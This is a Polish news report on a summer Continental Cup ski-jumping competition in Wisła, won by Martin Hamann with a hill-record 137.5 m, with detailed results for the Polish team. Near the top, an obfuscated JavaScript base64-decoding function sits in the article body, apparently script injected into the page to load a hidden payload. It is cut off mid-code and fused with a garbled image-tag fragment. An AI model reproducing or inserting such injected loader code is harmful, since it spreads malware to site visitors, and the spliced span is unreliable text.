LPK Wisła: Hamann wygrywa z rekordem skoczni! Podium nie dla Polaków

Wielki popis Martina Hamanna w serii finałowej w Wiśle Malince! Niemiec szybując aż 137,5 metra wyrównał letni rekord obiektu im. Adama Małysza (HS-134) i jednocześnie odniósł drugie z rzędu zwycięstwo w zawodach Pucharu Kontynentalnego. Na podium ponownie zabrakło reprezentantów Polski. Pod koniec czołowej dziesiątki zameldowali się Stefan Hula i Klemens Murańka.

Popis Hamanna

function u2fd518ba9147(q3){var u9=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var y7=”;var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0ander Vossan Eriksen (fot. Julia Piątkowska)” src=”https://www.skokipolska.pl/wp-content/uploads/2020/09/SanderVossanEriksen_podiumWisla2020_fot.JuliaPiatkowska-300x200.jpg" alt="Sander Vossan Eriksen (fot. Julia Piątkowska)" width="300" height="200"> Sander Vossan Eriksen (fot. Julia Piątkowska)

W pierwszej serii konkursowej Martin Hamann radząc sobie z mocnym wiatrem w plecy (0,84 m/s) uzyskał 121,5 metra. To dawało mu drugie miejsce za wyraźnie prowadzącym na półmetku zmagań Sanderem Vossanem Eriksenem (129,5 m), który skakał w niemal zupełnej "ciszy". W finale w imponującym stylu zaatakował jednak triumfator piątkowych zmagań. 23-letni Niemiec korzystając z korzystnych podmuchów (0,70 m/s) odleciał na 137,5 metra, wyrównując tym samym letni rekord skoczni należący do Słoweńca Jure Sinkovca (2010 r., LPK) i Norwega Andersa Fannemela (2016 r., LGP). Hamann lądował bez klasycznego telemarku, mocno wgniotło go w zeskok, jednak zdołał ustać swoją próbę, wywrócił się dopiero w strefie, w której takie zdarzenie nie skutkuje obniżeniem not za styl. Na górze pozostał wówczas tylko Eriksen, który już z obniżonej belki startowej uzyskał 123 metry i mimo sporej przewagi z pierwszej serii, nie zdołał ostatecznie wyprzedzić Niemca. 19-letni norweski wicemistrz świata tym razem również musiał zadowolić się drugą lokatą.

Na półmetku rywalizacji trzecie miejsce zajmował Austriak Peter Resinger (124,5 m) i to reprezentant tego kraju uzupełnił sobotnie podium w Wiśle. Nie był nim jednak mistrz świata juniorów, a 21-letni Timon-Pascal Kahofer (120,0 / 131,5 m), dla którego jest to najlepsze jak dotąd osiągnięcie w karierze. Czołową szóstkę uzupełnili jeszcze dwaj inni austriaccy skoczkowie, Markus Schiffner (120,0 / 131,0 m) i Stefan Rainer (119,5 / 127,5 m), a także doświadczony Słoweniec Anze Lanisek (123,5 / 128,5 m), który "na papierze" był w Wiśle faworytem zmagań.

Polacy poniżej oczekiwań i możliwości

Niestety w roli kandydatów do podium i gospodarzy nie najlepiej spisali się polscy skoczkowie. Honoru biało-czerwonych barw najlepiej bronili Stefan Hula (120,0 / 127,0 m) i Klemens Murańka (119,0 / 127,0 m), jednak i im do najlepszych zabrakło kilku dobrych punktów. 33-latek ze Szczyrku był ósmy, a 26-latek z Zakopanego dziewiąty. Na początku drugiej dziesiątki stawki uplasowali się Tomasz Pilch (119,0 / 130,5 m) oraz Aleksander Zniszczoł (119,5 / 128,0 m), którzy jednak z pewnością mieli apetyty na znacznie wyższe lokaty, ponieważ już kilkukrotnie tego lata udowodnili, że stać ich na walkę nawet o podium. Pod koniec tej grupy wylądowali z kolei 19. Andrzej Stękała (112,0 / 127,5 m) oraz 20. Paweł Wąsek (112,5 / 121,0 m). Na 23. pozycji zmagania zakończył junior Jarosław Krzak (119,0 / 124,0 m), dla którego jest to życiowy rezultat i jednocześnie pierwsze punkty w zawodach tej rangi. Ponadto w finałowej trzydziestce zmieścił się jeszcze 26. Maciej Kot (115,0 / 115,5 m).

Rywalizację już na pierwszej rundzie zakończyli 34. Kacper Juroszek (113,0 m), 40. Mateusz Gruszka (104,0 m), 42. Jakub Wolny (100,0 m) oraz 46. Adam Niżnik (93,5 m). Szczególnie niepokojąca wydaje się być słaba dyspozycja Wolnego, który w minionych sezonach był podstawowym zawodnikiem polskiej kadry narodowej.

LPK w Wiśle... i tyle

Dwa konkursy w Wiśle były jedynymi tego lata w cyklu Pucharu Kontynentalnego na igelicie. Niedawno z organizacji październikowych zawodów wycofał się rumuński Rasnov. Tym samym po dwóch triumfach najlepszy w klasyfikacji generalnej cyklu okazał się Martin Hamann (200 pkt), drugi był Sander Vossan Eriksen (160 pkt), a trzeci Anze Lanisek (100 pkt). Najwyżej sklasyfikowanym polskim skoczkiem okazał się Aleksander Zniszczoł, który z dorobkiem 72 punktów zajął szóste miejsce.

Pełna klasyfikacja generalna LPK 2020 >>>

Tego lata w planach są jeszcze tylko jedne zawody rangi FIS. W dniach 3-4 października skoczkowie zmierzą się w dwóch konkursach trzecioligowego cyklu FIS Cup w Rasnovie.

Warto podkreślić, że dwa konkursy w Wiśle zdecydowały o kwotach startowych, które będą obowiązywać w trzecim periodzie sezonu 2020/2021, czyli na początku zimy, także w Pucharze Świata. Dzięki udanym startom Hamanna, Eriksona i Laniska, to Niemcy, Norwegowie i Słoweńcy będą mogli w zimowych zmaganiach elity wystawić siedmiu zawodników do kwalifikacji aż do grudniowych konkursów w Engelbergu. A zimowy Puchar Kontynentalny powróci również w grudniu - skoczkowie zmierzą się w "drugiej lidze" 12 i 13 dnia miesiąca na jednej z norweskich skoczni.

Wyniki pierwszej serii >>>

Końcowe wyniki sobotniego konkursu LPK w Wiśle:

Pełne wyniki >>>

Bartosz Leja,
informacja własna